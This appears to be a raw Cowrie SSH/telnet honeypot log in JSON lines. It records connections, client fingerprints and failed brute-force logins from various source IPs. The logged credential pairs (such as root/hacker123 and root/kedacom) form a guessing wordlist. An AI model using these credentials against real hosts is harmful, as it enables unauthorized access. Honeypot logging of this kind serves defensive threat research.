{"eventid":"cowrie.login.failed","username":"wang","password":"wang","message":"login attempt [wang/wang] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:23:39.163863Z","src_ip":"160.187.174.22","session":"aaa3b8201b0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.83536696434021,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:23:39.684657Z","src_ip":"170.64.224.25","session":"f6cd764a131a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:23:40.401781Z","src_ip":"160.187.174.22","session":"aaa3b8201b0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":60016,"dst_ip":"10.17.0.5","dst_port":22,"session":"dfee0b81bcf2","protocol":"ssh","message":"New connection: 91.92.40.4:60016 (10.17.0.5:22) [session: dfee0b81bcf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:23:42.803644Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:23:42.808379Z","src_ip":"91.92.40.4","session":"dfee0b81bcf2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:23:42.889063Z","src_ip":"91.92.40.4","session":"dfee0b81bcf2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"password123","message":"login attempt [user/password123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:23:43.185695Z","src_ip":"91.92.40.4","session":"dfee0b81bcf2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:23:44.311046Z","src_ip":"91.92.40.4","session":"dfee0b81bcf2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":29790,"dst_ip":"159.203.135.109","dst_port":22,"session":"cd56d84987a3","protocol":"ssh","message":"New connection: 38.93.206.2:29790 (159.203.135.109:22) [session: cd56d84987a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:23:45.887874Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:23:45.891683Z","src_ip":"38.93.206.2","session":"cd56d84987a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:23:45.941807Z","src_ip":"38.93.206.2","session":"cd56d84987a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"anna2006","message":"login attempt [root/anna2006] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:23:46.162844Z","src_ip":"38.93.206.2","session":"cd56d84987a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:23:47.215580Z","src_ip":"38.93.206.2","session":"cd56d84987a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.164.175","src_port":57674,"dst_ip":"10.17.0.5","dst_port":22,"session":"be65f7be5d9a","protocol":"ssh","message":"New connection: 138.197.164.175:57674 (10.17.0.5:22) [session: be65f7be5d9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:23:47.698896Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:23:47.702619Z","src_ip":"138.197.164.175","session":"be65f7be5d9a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:23:47.720900Z","src_ip":"138.197.164.175","session":"be65f7be5d9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hacker123","message":"login attempt [root/hacker123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:23:47.830786Z","src_ip":"138.197.164.175","session":"be65f7be5d9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:23:48.853610Z","src_ip":"138.197.164.175","session":"be65f7be5d9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":53572,"dst_ip":"159.203.135.109","dst_port":22,"session":"16e74365e854","protocol":"ssh","message":"New connection: 160.187.174.22:53572 (159.203.135.109:22) [session: 16e74365e854]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:24:08.339120Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:24:08.343358Z","src_ip":"160.187.174.22","session":"16e74365e854","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:24:08.575444Z","src_ip":"160.187.174.22","session":"16e74365e854","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"www123","message":"login attempt [www/www123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:24:09.583581Z","src_ip":"160.187.174.22","session":"16e74365e854","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"221.229.220.180","src_port":60785,"dst_ip":"10.17.0.5","dst_port":22,"session":"e63a96d8edf9","protocol":"ssh","message":"New connection: 221.229.220.180:60785 (10.17.0.5:22) [session: e63a96d8edf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:24:09.992197Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:24:09.995103Z","src_ip":"221.229.220.180","session":"e63a96d8edf9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:24:10.223777Z","src_ip":"221.229.220.180","session":"e63a96d8edf9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:24:10.831662Z","src_ip":"160.187.174.22","session":"16e74365e854","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alvin123","message":"login attempt [root/alvin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:24:11.176831Z","src_ip":"221.229.220.180","session":"e63a96d8edf9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:24:12.410122Z","src_ip":"221.229.220.180","session":"e63a96d8edf9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.203.163.10","src_port":41970,"dst_ip":"10.17.0.5","dst_port":22,"session":"e069314dc07b","protocol":"ssh","message":"New connection: 189.203.163.10:41970 (10.17.0.5:22) [session: e069314dc07b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:24:25.412755Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:24:25.416346Z","src_ip":"189.203.163.10","session":"e069314dc07b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:24:25.476619Z","src_ip":"189.203.163.10","session":"e069314dc07b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa12341234","message":"login attempt [root/Aa12341234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:24:25.749254Z","src_ip":"189.203.163.10","session":"e069314dc07b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:24:26.811452Z","src_ip":"189.203.163.10","session":"e069314dc07b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":38146,"dst_ip":"159.203.135.109","dst_port":22,"session":"239bcf2e5533","protocol":"ssh","message":"New connection: 160.187.174.22:38146 (159.203.135.109:22) [session: 239bcf2e5533]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:24:39.069526Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:24:39.073658Z","src_ip":"160.187.174.22","session":"239bcf2e5533","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:24:39.307212Z","src_ip":"160.187.174.22","session":"239bcf2e5533","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ac123456","message":"login attempt [root/Ac123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:24:40.259042Z","src_ip":"160.187.174.22","session":"239bcf2e5533","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.18.197.35","src_port":37870,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e6de4bb88a3","protocol":"ssh","message":"New connection: 154.18.197.35:37870 (159.203.135.109:22) [session: 5e6de4bb88a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:24:41.249226Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:24:41.252747Z","src_ip":"154.18.197.35","session":"5e6de4bb88a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:24:41.471380Z","src_ip":"154.18.197.35","session":"5e6de4bb88a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:24:41.498379Z","src_ip":"160.187.174.22","session":"239bcf2e5533","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kedacom","message":"login attempt [root/kedacom] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:24:42.380038Z","src_ip":"154.18.197.35","session":"5e6de4bb88a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.174.129.232","src_port":31171,"dst_ip":"10.17.0.5","dst_port":22,"session":"2a850e3d980e","protocol":"ssh","message":"New connection: 160.174.129.232:31171 (10.17.0.5:22) [session: 2a850e3d980e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:24:42.916802Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:24:42.920369Z","src_ip":"160.174.129.232","session":"2a850e3d980e","protocol":"ssh"}
